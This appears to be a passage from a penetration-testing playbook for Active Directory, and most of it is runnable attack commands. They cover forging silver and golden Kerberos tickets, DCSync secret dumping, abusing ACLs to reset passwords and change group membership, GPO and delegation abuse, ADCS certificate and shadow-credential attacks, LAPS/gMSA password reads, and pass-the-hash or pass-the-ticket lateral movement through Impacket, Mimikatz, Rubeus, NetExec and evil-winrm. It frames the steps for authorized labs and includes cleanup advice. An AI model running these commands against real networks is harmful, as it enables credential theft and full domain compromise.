If it fails: IP-only naming, realm mismatch, expired lifetime, wrong logon session or unsupported tool Kerberos can break otherwise valid material.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use

Prerequisite: key/hash of the account encrypting the target SPN's tickets, domain SID, exact SPN/service/host, a plausible existing domain identity and compatible target-service validation behavior.

Linux/Impacket:

impacket-ticketer -nthash SERVICE_NT_HASH -domain-sid DOMAIN_SID \
  -domain DOMAIN -spn cifs/TARGET_HOST AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist

Windows/Mimikatz:

kerberos::golden /sid:DOMAIN_SID /domain:DOMAIN /target:TARGET_HOST /service:cifs /rc4:SERVICE_NT_HASH /user:AUTHORIZED_TEST_USER /ptt

Despite the Mimikatz module name, supplying a service/target key produces a silver/service ticket, not a krbtgt-signed TGT.

Important boundaries:

• the key must belong to the account that owns the SPN; machine-account keys commonly protect host services;
• the ticket is limited to the named service/host and whichever services share the same account key;
• current PAC enforcement means using a nonexistent identity can fail; use a real authorized test identity and validate behavior;
• a service may perform KDC/PAC validation or additional authorization;
• a successfully imported ticket is not successful service access.

Golden tickets require the KRBTGT key and domain SID and create a forged TGT. They are a high-impact persistence concept covered in the conditional domain-compromise section, not a default Block 11 action.

Verify: Prove the intended service action and ticket context; ticket creation/import success alone is insufficient.

If it fails: Wrong key/SPN/SID or modern validation can reject the ticket. Prefer an existing valid credential/TGT route when enabled.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Exact object/right and account state; the disruptive password change is justified within the assigned lab objective

A password-reset right creates a new password credential; it does not reveal the old one. This is disruptive because an unknown original password cannot be restored.

$Secure = ConvertTo-SecureString 'TEMP_PASSWORD' -AsPlainText -Force
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword $Secure -Verbose
net user TARGET_USER TEMP_PASSWORD /domain

Validate the account state and authenticate only to an approved service as the target identity. Prefer a reversible route when one exists.

Verify: Verify account identity and compatible authentication, then test relevant authorization.

If it fails: A stale/protected-object edge or policy can prevent the reset. Prefer a reversible SPN/group route when it achieves the objective.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Exact target group, controlled principal, useful resulting right and a fresh token/logon context

10.12.18.2.25 Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose

Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Get-DomainGroupMember -Identity TARGET_GROUP |
  Where-Object { $_.MemberName -eq 'CONTROLLED_USER' }

10.12.18.2.26 Built-in alternative

# Built-in alternative
net group TARGET_GROUP CONTROLLED_USER /add /domain

A current session may not receive the new group SID until a fresh logon. Validate with a new session/token, then remove the membership after the authorized objective:

Remove-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose -Confirm:$false
net group TARGET_GROUP CONTROLLED_USER /delete /domain

If it fails: An old token, wrong group or nesting/policy behavior can leave authorization unchanged despite a successful modification.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner

WriteOwner can make the controlled identity the owner; ownership may then permit a DACL change. WriteDacl can grant only the narrower right needed for the intended transition.

10.12.18.2.29 Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose

Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Add-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose

10.12.18.2.30 Group-membership variant

# Group-membership variant
Add-DomainObjectAcl -TargetIdentity TARGET_GROUP -PrincipalIdentity CONTROLLED_USER -Rights WriteMembers -Verbose

10.12.18.2.31 Remove the ACE after the authorized objective

# Remove the ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose

Export the original owner/security descriptor before changing it and restore exactly that state. Password resets, membership changes, SPN writes, ownership changes and ACE grants are state changes; do not execute merely because a graph shows an edge.

Verify: Verify the intermediate owner/DACL state and final operation separately; restore original state afterward.

If it fails: Protected-object behavior, scope/inheritance or a missing intermediate right can break the chain.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient

Prerequisite: effective domain-root rights equivalent to Replicating Directory Changes plus Replicating Directory Changes All (and filtered-set rights where applicable). Domain membership or local admin on an ordinary host is insufficient.

Validate ACLs at the domain root:

Get-DomainObjectAcl -Identity 'DC=DOMAIN,DC=TLD' -ResolveGUIDs |
  Where-Object { $_.ObjectAceType -match 'Replication-Get-Changes' }

A controlled DACL transition can grant these rights, but doing so changes the domain security descriptor and creates a domain-compromise path:

10.12.18.2.34 Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

10.12.18.2.35 Remove the delegated replication ACE after the authorized objective

# Remove the delegated replication ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

Local administrator rights on a member host, an LDAP bind or a valid Kerberos ticket do not supply replication rights. Re-read the effective domain-root ACL before and after a change.

Request one approved test account rather than dumping the directory:

impacket-secretsdump -just-dc-user TARGET_USER -dc-ip DC_IP \
  'DOMAIN/USER:PASSWORD@DC_HOST'

Mimikatz equivalent from an authorized Windows context:

lsadump::dcsync /domain:DOMAIN /user:TARGET_USER

Verify: Verify the replication source, account and material type; avoid equating a tool label with proven rights.

If it fails: RPC route, identity context and missing replication rights produce different failures; verify each prerequisite.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger

Identify GPOs and links:

Get-DomainGPO
Get-DomainOU | Select-Object name,distinguishedname,gplink
Get-DomainObjectAcl -SearchBase 'CN=Policies,CN=System,DC=DOMAIN,DC=TLD' -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteProperty' }

For a candidate, prove:

1. the controlled principal can edit both the directory object and relevant SYSVOL policy files;
2. the GPO is linked to the OU containing the intended test host/user;
3. security filtering and WMI filters include that subject;
4. the configured preference/task/script runs in the expected context; and
5. policy refresh or another predictable trigger will occur.

SharpGPOAbuse supports immediate-task/local-group techniques, but syntax is version-sensitive and the action changes domain policy. Inspect the installed build before a controlled lab action:

SharpGPOAbuse.exe --help
gpresult /r
gpupdate /force

Back up the GPO, restrict the target/scope, document the exact change and restore it after validation.

Verify: Verify actual policy application and resulting privileged effect; retain/restorable original policy state.

If it fails: Wrong link, filtering, unavailable refresh or missing file rights invalidates the chain. Keep this as a conditional supplement.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow

Enumerate before attempting any ticket operation:

Get-DomainComputer -Unconstrained | Select-Object dnshostname
Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' -Properties samaccountname,msds-allowedtodelegateto

impacket-findDelegation 'DOMAIN/USER:PASSWORD' -dc-ip DC_IP

Constrained delegation/S4U requires control of the delegated account/key and an allowed SPN:

impacket-getST -spn ALLOWED_SPN -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/DELEGATED_USER:PASSWORD'
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"

Use the ticket only for the approved service/host. Unconstrained delegation can expose forwarded/cached tickets, but coercing authentication changes another host's behavior and is not a baseline. Validate only in a disposable authorized lab and protect ticket material.

10.12.18.2.39.1 Validate and use a resource-based delegation relationship Resource-based constrained delegation

Prerequisite: effective write control over the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity plus control of a principal with an SPN (often a lab computer account).

impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -computer-pass 'LAB_MACHINE_PASSWORD' -dc-host DC_HOST -dc-ip DC_IP

impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action write -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'

impacket-getST -spn cifs/TARGET_HOST -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/LABCOMPUTER$:LAB_MACHINE_PASSWORD'

Cleanup after the lab objective:

impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action remove -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -delete -dc-ip DC_IP

Machine-account quota, computer-object rights, DNS/SPN naming and target service authorization are separate prerequisites.

Verify: Verify the exact service ticket and successful destination action, with original delegation state preserved.

If it fails: Protected accounts, unavailable service identity, unsupported encryption or wrong SPN can break the chain. Use only when the complete conditional path exists.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path

Prerequisite: reachable CA/DC and a valid domain identity. Decisive output: a CA/template whose enabled state, enrollment rights and configuration satisfy a specific ESC path.

Package names vary:

command -v certipy-ad || command -v certipy
certipy-ad find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -enabled -vulnerable -stdout

Review:

• CA name and host;
• template name and whether it is enabled/published;
• who can enroll;
• client-authentication EKUs/purpose;
• subject/SAN supply controls;
• manager approval/signature requirements;
• template owner and modification rights;
• web enrollment/relay-related configuration where relevant.

An ESC label is a candidate classification. Manually validate the properties and the controlled identity's effective rights.

Generic request after validating a specific template:

certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -target DC_HOST -ca CA_NAME -template TEMPLATE

An alternate UPN/SID request is appropriate only when the validated template permits it and the lab explicitly authorizes impersonation testing:

certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -target DC_HOST -ca CA_NAME -template TEMPLATE \
  -upn 'TEST_USER@DOMAIN' -sid 'TEST_USER_SID'

certipy-ad auth -pfx CERTIFICATE.pfx -dc-ip DC_IP

Treat PFX files, tickets and returned hashes as credentials. Verify certificate subject/SID, validity and intended identity. A successful issuance is not the same as successful PKINIT authentication.

Before any authorized template change, save configuration:

certipy-ad template -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -template TEMPLATE -save-configuration template-backup.json

Template writes alter Active Directory configuration and may affect many principals. Use only an explicitly authorized disposable lab path, inspect certipy-ad template -h for the installed version, and restore the saved configuration after the demonstration.

Verify: Verify issuance, matching private key, mapped account and a successful authentication effect; preserve and restore template changes.

If it fails: Denied enrollment, approval, mapping hardening or missing key material needs a different conditional route, not a renamed certificate tool.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior

Golden tickets require the domain SID and KRBTGT key. They are persistence/impact concepts, not a default Block 11 action. A forged ticket still depends on correct cryptographic material, realm, time and authorization. For the active service-scoped case, use Silver tickets.

Authorized isolated-lab examples:

# Golden: realm-wide TGT material
impacket-ticketer -nthash KRBTGT_NT_HASH -domain-sid DOMAIN_SID \
  -domain DOMAIN AUTHORIZED_TEST_USER

export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist

Use only against the approved service/host, record ticket metadata and remove generated credentials afterward. Domain recovery after KRBTGT exposure generally requires coordinated credential rotation and replication convergence; service-ticket exposure requires rotating the affected service/machine secret and reviewing access.

Verify: Verify cryptographic source, represented principal and exact service effect; protect the key and remove generated test credentials.

If it fails: Wrong key/version, realm, time or validation behavior can reject a forged ticket. Prefer legitimate current tickets for ordinary movement.

Need: Identified authentication material, destination service reachability and a candidate authorized identity. Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Directly routed source:

nmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET -oN movement-preflight.txt
getent hosts TARGET_HOST
date -u

Windows source:

Resolve-DnsName TARGET_HOST
Test-NetConnection TARGET_HOST -Port 445
Test-NetConnection TARGET_HOST -Port 5985
Test-NetConnection TARGET_HOST -Port 3389
w32tm /query /status

Port 135 alone does not prove WMI/DCOM viability because RPC commonly negotiates a dynamic high port. When the destination is reachable only through a pivot, perform these checks through the established Block 13 route and respect the client/proxy's transport limits.

Record:

SOURCE POSITION -> TARGET FQDN/IP -> ROUTE -> SERVICE/PORT
-> CREDENTIAL TYPE -> LOCAL/DOMAIN IDENTITY -> EXPECTED RIGHT
-> CHOSEN METHOD -> EXPECTED EFFECT

NetExec can classify a selected SMB credential:

10.12.18.3.3 Domain password

# Domain password
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'

10.12.18.3.4 Domain NT hash

# Domain NT hash
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH

10.12.18.3.5 Target-local account

# Target-local account
nxc smb TARGET -u Administrator -H NT_HASH --local-auth

10.12.18.3.6 Prove only share access

# Prove only share access
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

For one justified execution proof:

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' -x "hostname & whoami" --exec-method wmiexec

Current NetExec can select wmiexec, atexec or smbexec; without an explicit method it may fail over between them. Use a forced method when diagnosing prerequisites so the result remains attributable.

DOMAIN\USER  -> domain identity; evaluate target-local group/right
TARGET\USER  -> SAM identity on that target
./USER        -> tool-specific local-account selection

Common failure pattern:

1. a local account authenticates over SMB;
2. Windows issues a filtered remote token;
3. ADMIN$, SCM or WMI administrative operations fail.

Do not “fix” this by changing LocalAccountTokenFilterPolicy during an attack workflow. Use a method already permitted by the target's configuration, the built-in Administrator where legitimately obtained and applicable, RDP if authorized, or another mapped identity.

Remote process creation, stdout retrieval and an interactive shell are separate states:

AUTHENTICATED
-> REMOTE OPERATION AUTHORIZED
-> PROCESS/TASK/SERVICE CREATED
-> COMMAND EFFECT OCCURRED
-> OUTPUT RETURNED OR CALLBACK CONNECTED
-> USABLE SESSION

• PsExec returns named-pipe I/O through its service.
• WMIExec normally redirects output to an SMB share.
• SMBExec redirects command output while repeatedly creating services.
• ATExec writes output under ADMIN$\Temp.
• Native WMI/DCOM may return only a PID/return value; verify a harmless file or another bounded effect.
• WMI/DCOM/service processes commonly run in session 0, so a GUI is not visible to the logged-on user.
• WinRM creates a remote shell/runspace and returns structured or text output.

A WinRM/PowerShell session on HOST_A may not possess delegable credentials for HOST_B. That “double hop” is a credential-context problem, not proof that HOST_B or the password is wrong. Prefer executing from the source that actually holds the credential/ticket rather than enabling broad delegation.

hostname
whoami /all
ipconfig /all
route print
netstat -ano
klist

Re-enumerate:

1. local privilege and accessible credential sources;
2. domain groups, ACLs, shares and host rights under the new identity;
3. logged-on sessions and service accounts;
4. interfaces, routes, DNS, listeners and internal reachability;
5. the next evidence-backed host/identity transition.

Do not overwrite the earlier state. Record the source host, credential form, authentication protocol, execution method, returned identity and side effects.

Verify: Record exact source, credential type, destination name/service and successfully permitted operation.

If it fails: Do not infer every service works from an administrative SMB indicator. Separate authentication, route, execution and output-channel failures.

Need: Identified authentication material, destination service reachability and a candidate authorized identity. SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

10.12.18.3.9 Authenticate with a known password in the correct account scope Password

# Password
impacket-psexec 'DOMAIN/USER:PASSWORD@TARGET'

10.12.18.3.10 Authenticate with the account's NT hash where supported NT hash / Pass-the-Hash

# NT hash / Pass-the-Hash
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Kerberos cache:

export KRB5CCNAME="$PWD/USER.ccache"
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

The target parameter uses the hostname matching the CIFS/HOST SPN; -target-ip separates connection routing from Kerberos naming.

PsExec64.exe -accepteula \\TARGET_HOST -u DOMAIN\USER -p PASSWORD cmd.exe

Verify: Verify destination and represented execution identity, not only service creation or tool success.

If it fails: Share write, SCM access, service start, endpoint controls and pipe communication can fail independently.

Need: Identified authentication material, destination service reachability and a candidate authorized identity. Accepted authentication, service create/start rights and the selected output-share/server path

impacket-smbexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-smbexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

export KRB5CCNAME="$PWD/USER.ccache"
impacket-smbexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

# SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.
impacket-smbexec -mode SHARE -share C$ 'DOMAIN/USER:PASSWORD@TARGET'

Verify: Verify command effect separately from successful output retrieval and remove created artifacts as appropriate.

If it fails: Missing output can coexist with successful execution. Check service event/effect and share permissions before changing payloads.

Need: Identified authentication material, destination service reachability and a candidate authorized identity. Task Scheduler RPC reachability, effective task-creation rights and the required administrative output access

impacket-atexec 'DOMAIN/USER:PASSWORD@TARGET_HOST' "cmd.exe /c hostname & whoami"
impacket-atexec -hashes :NT_HASH 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

Kerberos:

export KRB5CCNAME="$PWD/USER.ccache"
impacket-atexec -k -no-pass -dc-ip DC_IP 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

If it fails: Dynamic RPC filtering, task authorization or denied output share can break different phases.

Need: Identified authentication material, destination service reachability and a candidate authorized identity. RPC endpoint mapper plus negotiated dynamic ports; effective WMI/DCOM rights; the selected output path may additionally need SMB

impacket-wmiexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Kerberos with separate name and route:

export KRB5CCNAME="$PWD/USER.ccache"
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

impacket-wmiexec -nooutput 'DOMAIN/USER:PASSWORD@TARGET' "cmd.exe /c echo MOVEMENT_OK > C:\Windows\Temp\movement-proof.txt"

$Credential = Get-Credential 'DOMAIN\USER'
$Options = New-CimSessionOption -Protocol Dcom
$Session = New-CimSession -ComputerName TARGET_HOST -Credential $Credential -SessionOption $Options

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
  CommandLine = 'cmd.exe /c hostname > C:\Windows\Temp\movement-proof.txt'
}

Remove-CimSession $Session

Verify: Verify destination process/effect and execution identity separately from captured stdout.

If it fails: Port 135 alone is insufficient. Distinguish RPC route, namespace permission, output share and local token filtering.

Need: Identified authentication material, destination service reachability and a candidate authorized identity. RPC/dynamic-port route, allowed DCOM activation and application method, supported authentication and target component

Current Windows token:

$Type = [type]::GetTypeFromProgID('MMC20.Application.1','TARGET_HOST')
$Object = [Activator]::CreateInstance($Type)
$Object.Document.ActiveView.ExecuteShellCommand(
  'cmd.exe',
  $null,
  '/c hostname > C:\Windows\Temp\movement-proof.txt',
  '7'
)

Impacket with password or NT hash:

impacket-dcomexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Verify: Verify the actual destination effect and identity; COM object creation alone does not prove command execution.

If it fails: Component absence, activation rights, modern DCOM hardening or unsupported client Kerberos can block this route.

Need: Identified authentication material, destination service reachability and a candidate authorized identity. Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

10.12.18.3.24.1 Open a remote command session through verified WinRM rights Evil-WinRM

10.12.18.3.24.1.1 Authenticate with a known password using a supported prompt Password; omit -p to prompt where supported

# Password; omit -p to prompt where supported
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD'

10.12.18.3.24.1.2 Use or recover a password from an identified NT hash NT hash

# NT hash
evil-winrm -i TARGET_HOST -u USER -H NT_HASH

10.12.18.3.24.1.3 Connect to the verified remote-management HTTPS listener HTTPS listener

# HTTPS listener
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD' -S -P 5986

Current Evil-WinRM ticket-file support:

evil-winrm -i TARGET_FQDN -r DOMAIN -K USER.ccache --spn HTTP

10.12.18.3.24.2 Open a remote command session through verified WinRM rights Native WinRS

winrs /r:TARGET_HOST /u:DOMAIN\USER /p:PASSWORD "cmd /c hostname & whoami"

To avoid retaining a password on the command line, use the current authorized Windows credential context where possible:

winrs /r:TARGET_HOST "cmd /c hostname & whoami"

10.12.18.3.24.3 Open a remote command session through verified WinRM rights PowerShell remoting

Test-WSMan TARGET_HOST
$Credential = Get-Credential 'DOMAIN\USER'

Invoke-Command -ComputerName TARGET_HOST -Credential $Credential -ScriptBlock {
  hostname
  whoami /all
}

$Session = New-PSSession -ComputerName TARGET_HOST -Credential $Credential
Enter-PSSession -Session $Session

Verify: Verify hostname, whoami /all and the actual session configuration/rights.

If it fails: Authentication denial, endpoint denial, TLS/name mismatch and second-hop failure require different fixes.

Need: Identified authentication material, destination service reachability and a candidate authorized identity. Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements

Check the installed binary name:

command -v xfreerdp3 || command -v xfreerdp

Password:

xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard

Older packages may expose the same syntax through xfreerdp.

NT hash:

xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /pth:NT_HASH /cert:ignore /dynamic-resolution

Native client:

mstsc.exe /v:TARGET_HOST
mstsc.exe /restrictedAdmin /v:TARGET_HOST

Ordinary RDP can place reusable user credentials in the destination's LSASS. Restricted Admin avoids sending those reusable credentials but prevents ordinary onward access as that user; treat the resulting session's network identity separately.

Purpose: use a validated identity with Remote Desktop logon rights to establish a Windows desktop and verify the resulting source position.

10.12.18.3.26.1 Baseline: prompt for the password

xfreerdp3 /v:TARGET /u:USER /dynamic-resolution /cert:ignore

Some Kali releases expose xfreerdp instead of xfreerdp3; check command -v xfreerdp3 xfreerdp and the selected binary's /help output.

Decisive output: a usable desktop establishes a remote session. Open PowerShell or Command Prompt and verify whoami, hostname and ipconfig before treating commands as target-origin execution.

xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /dynamic-resolution /cert:ignore

xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

xfreerdp3 /v:TARGET /u:USER '/p:PASSWORD' /dynamic-resolution /cert:ignore

Failure cues: a certificate warning is not a credential result. NLA/security negotiation, account context, authentication, Remote Desktop logon rights and an already occupied/restricted session can fail separately. /cert:ignore is appropriate only for the controlled lab context because it removes certificate identity validation.

Next: after verifying the host and identity, enumerate groups/privileges, files, local services/listeners and routes from the new source position.

Verify: Verify destination, user/token and permitted desktop actions; keep credentials out of reusable screenshots/notes.

If it fails: A valid password can still lack logon rights. NLA, TLS, domain qualification and Restricted Admin policy are separate conditions.

Need: Identified authentication material, destination service reachability and a candidate authorized identity. Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

10.12.18.3.28.1 Authenticate with an NT hash where the service supports it Pass-the-Hash

NT HASH -> NTLM CHALLENGE/RESPONSE -> TARGET SERVICE

PtH requires an NTLM-capable service, a valid account context and the service-specific right. SMB share access may work without administrative execution; PsExec/WMIExec/SMBExec usually need administrative rights. Remote UAC commonly filters non-built-in local administrators. Domain accounts in the target Administrators group traditionally receive a full remote token, but newer Administrator Protection policy can change that result—trust the observed target token and method-specific authorization.

10.12.18.3.28.2 Obtain a Kerberos ticket using an available account key Overpass-the-Hash / key-to-ticket

Mimikatz network-credential context:

sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:powershell.exe

Rubeus TGT request:

Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist

AES alternative:

Rubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:AES256_KEY /dc:DC_HOST /ptt

Trigger a Kerberos service request with the hostname, then inspect:

dir \\TARGET_HOST\C$
klist

10.12.18.3.28.3 Authenticate with an available ticket in the correct logon context Pass-the-Ticket

Windows:

Rubeus.exe ptt /ticket:ticket.kirbi
klist

kerberos::ptt ticket.kirbi

Linux:

export KRB5CCNAME="$PWD/ticket.ccache"
klist
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

A TGS must name the selected service/hostname. A TGT can request a suitable TGS only while valid and when the KDC is reachable. Ticket import is not lateral movement until the destination accepts it and produces the intended authorized effect.

Verify: Verify exact material type, represented network identity and successful destination action.

If it fails: Wrong ticket service, RC4 policy, time skew, IP-only SPN naming or local/domain mismatch can invalidate one variant while another remains viable.

Use when directory permissions grant access to the secret-bearing attribute. Being able to enumerate the computer or service account does not grant that read.

10.12.18.4.3 Classic LAPS: password for the relevant computer's local administrator

# Classic LAPS: password for the relevant computer's local administrator
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  get object 'COMPUTER$' --attr ms-Mcs-AdmPwd

10.12.18.4.4 Windows LAPS: returned content/format depends on schema and protection

# Windows LAPS: returned content/format depends on schema and protection
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  get object 'COMPUTER$' --attr msLAPS-Password

10.12.18.4.5 gMSA: inspect the allowed managed-password attribute

# gMSA: inspect the allowed managed-password attribute
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  get object 'GMSA$' --attr msDS-ManagedPassword

Read: a LAPS value is scoped to the named host's local account. An encrypted Windows-LAPS value still needs the permitted decryption context. A gMSA blob/base64 string is not automatically a directly reusable NT hash: parse/decode it with a compatible gMSA tool before choosing authentication. Missing/denied attributes → distinguish schema, permissions and an empty value.

Sources: upstream 1 · upstream 2.

Use when the accepted directory identity has the managed-password read permission for the gMSA. NetExec selects LDAPS for this operation, so the DC's LDAP TLS path must work.

10.12.18.4.9 nxc ldap DC_IP -d DOMAIN -u USER -p 'PASSWORD' --gmsa

nxc ldap DC_IP -d DOMAIN -u USER -p 'PASSWORD' --gmsa

10.12.18.4.10 After identifying the returned service account and hash, test one relevant service

# After identifying the returned service account and hash, test one relevant service
nxc smb TARGET -d DOMAIN -u 'GMSA$' -H HASH --shares

Read: keep the exact service-account name and decoded NT hash together; an encoded msDS-ManagedPassword blob is a different representation. Authentication acceptance still does not prove administrative/remote-execution rights. Empty output → inspect object permissions, LDAPS, account type and collection errors before concluding that no gMSA path exists.

Sources: upstream 1.

Use only with effective write access to the target's msDS-KeyCredentialLink, a DC supporting the required key-trust/PKINIT behavior, correct time/DNS and compatible certificates. Inspect existing values first.

10.12.18.4.13 python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \

python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
  --target TARGET_USER --action list

10.12.18.4.14 Adds a new key credential and generates certificate material; record its DeviceID

# Adds a new key credential and generates certificate material; record its DeviceID
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
  --target TARGET_USER --action add --filename target-key

10.12.18.4.15 Use the generated PFX password; request the target principal's TGT

# Use the generated PFX password; request the target principal's TGT
python3 gettgtpkinit.py -cert-pfx target-key.pfx -pfx-pass 'PFX_PASSWORD' \
  -dc-ip DC_IP DOMAIN/TARGET_USER target.ccache
export KRB5CCNAME="$PWD/target.ccache"
klist

10.12.18.4.16 Optional NT-hash recovery from this PKINIT TGT; key is the printed AS-REP key

# Optional NT-hash recovery from this PKINIT TGT; key is the printed AS-REP key
python3 getnthash.py -key AS_REP_KEY -dc-ip DC_IP DOMAIN/TARGET_USER

10.12.18.4.17 Remove only the key credential you added; never clear unrelated original values

# Remove only the key credential you added; never clear unrelated original values
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
  --target TARGET_USER --action remove --device-id DEVICE_ID

Read: a successful attribute write does not yet establish a TGT or service authorization. Verify the cached principal and the intended service. PKINIT/certificate failure → inspect KDC support, mapping and trust; do not keep overwriting keys. Preserve the original state and remove only your added DeviceID after the test.

Sources: upstream 1 · upstream 2.

Use a certificate/private key mapped to an accepted AD identity with the necessary trust/EKU and a working LDAP TLS path. PKINIT and Schannel are different authentication paths: failure of one does not prove the other works or fails.

10.12.18.4.20 Extract PEM material from the relevant PFX; respond to password prompts

# Extract PEM material from the relevant PFX; respond to password prompts
openssl pkcs12 -in USER.pfx -clcerts -nokeys -out USER.crt
openssl pkcs12 -in USER.pfx -nocerts -nodes -out USER.key

10.12.18.4.21 First identify the principal accepted through the certificate

# First identify the principal accepted through the certificate
python3 passthecert.py -action whoami -crt USER.crt -key USER.key \
  -domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP

10.12.18.4.22 Inspect operations in the LDAP shell before choosing an authorized write

# Inspect operations in the LDAP shell before choosing an authorized write
python3 passthecert.py -action ldap-shell -crt USER.crt -key USER.key \
  -domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP

